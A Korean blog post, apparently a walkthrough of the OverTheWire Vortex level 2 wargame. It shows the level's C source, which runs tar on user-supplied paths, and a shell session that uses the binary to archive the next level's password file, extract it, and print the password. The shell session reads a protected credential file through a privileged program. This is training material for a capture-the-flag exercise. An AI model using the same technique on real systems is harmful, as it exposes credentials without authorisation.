Vortex – Level 2

http://www.overthewire.org/wargames/vortex/level2.shtml
먼저 코드를 보자. tar와 관련된 문제인거 같다.

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>

int main(int argc, char **argv)
{
        char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] };
        execv(args[0], args);
}

tar 명령어만 알고 있다면 쉽게 풀 수 있는 문제다. 인자로 패스워드를 주면 된다. 패스워드가 위치한 경로로 이동한 후 작업을 하면 된다.

vortex2@games /etc/vortex_pass $ pwd
/etc/vortex_pass
vortex2@games /etc/vortex_pass $ /vortex/level2 vortex3
vortex2@games /etc/vortex_pass $ cd /tmp
vortex2@games /tmp $ mkdir jjoon
vortex2@games /tmp $ cd jjoon
vortex2@games /tmp/jjoon $ cp ../ownership.\$\$.tar ./
vortex2@games /tmp/jjoon $ ls -al
total 868
drwxr-xr-x 2 vortex2 vortex2   4096 Jan  7 19:56 .
d-wx-wx-wt 8 root    root    868352 Jan  7 19:55 ..
-rw-r--r-- 1 vortex2 vortex2  10240 Jan  7 19:56 ownership.$$.tar
vortex2@games /tmp/jjoon $ tar xvf ownership.\$\$.tar
vortex3
vortex2@games /tmp/jjoon $ cat vortex3
64ncXTvx#
vortex2@games /tmp/jjoon $

이 문제의 포인트는 $$를 \$\$ 로 입력해야 한다는 것!
그리고 이 문제 풀면서 안건데 $$가 PID를 뜻하는거 같군?

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다